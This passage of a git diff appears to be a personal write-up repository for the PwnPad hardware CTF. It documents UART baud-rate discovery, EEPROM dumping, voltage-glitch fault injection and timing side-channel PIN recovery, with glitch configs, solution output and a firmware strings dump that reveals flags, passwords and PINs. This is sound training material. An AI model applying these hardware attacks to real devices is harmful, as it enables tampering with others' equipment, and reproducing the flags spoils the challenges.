+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
